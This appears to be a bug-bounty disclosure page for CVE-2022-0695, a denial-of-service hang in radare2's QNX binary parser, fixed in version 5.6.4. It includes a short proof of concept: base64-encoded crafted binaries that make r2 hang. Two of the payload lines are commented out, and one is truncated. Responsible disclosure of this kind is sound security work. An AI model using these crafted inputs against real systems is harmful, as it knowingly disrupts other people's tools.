Denial of Service in radareorg/radare2

Valid Reported on Feb 23rd 2022

0

Description

R2 will hang for several crafted binaries.

Proof of Concept

```
printf "%s" "AAA4AAAAAB4=" | base64 -d > /tmp/a
# printf "%s" "z/rt/gwAAAEuAAB//wAAAACe2QEaAAAG+s8yAOH/AQAAAA==" | base64 -
# printf "%s" "zvrt/gCd7QBMYWT6AAD6/2NiQGsOAAGbuAAAADQAAID7AAAAAAEAAAEBZWUg
r2 /tmp/a # This hangs forever.
```

Impact

This vulnerability is capable of denial of service locally.

Occurrences

C bin_qnx.c L75

This line is never satisfied.

CVE
CVE-2022-0695
(Published)

Vulnerability Type
CWE-400: Denial of Service

Severity
Medium (6.8)

Visibility
Public

Status
Fixed

Found by

lazymio
@wtdcode
maintainer

Fixed by

pancake
@trufae
maintainer

This report was seen 460 times.

We are processing your report and will contact the **radareorg/radare2** team within 24 hours.
9 months ago

lazymio modified the report 9 months ago

lazymio modified the report 9 months ago

pancake validated this vulnerability 9 months ago

lazymio has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

lazymio 9 months ago Researcher

@pancake Thanks!

@admin I would like to request a CVE for this disclosure. :)

pancake marked this as fixed in 5.6.4 with commit 634b88 9 months ago

pancake has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

bin_qnx.c#L75 has been validated ✔

Jamie Slome 9 months ago Admin

Sorted! CVE-2022-0695

Sign in to join this conversation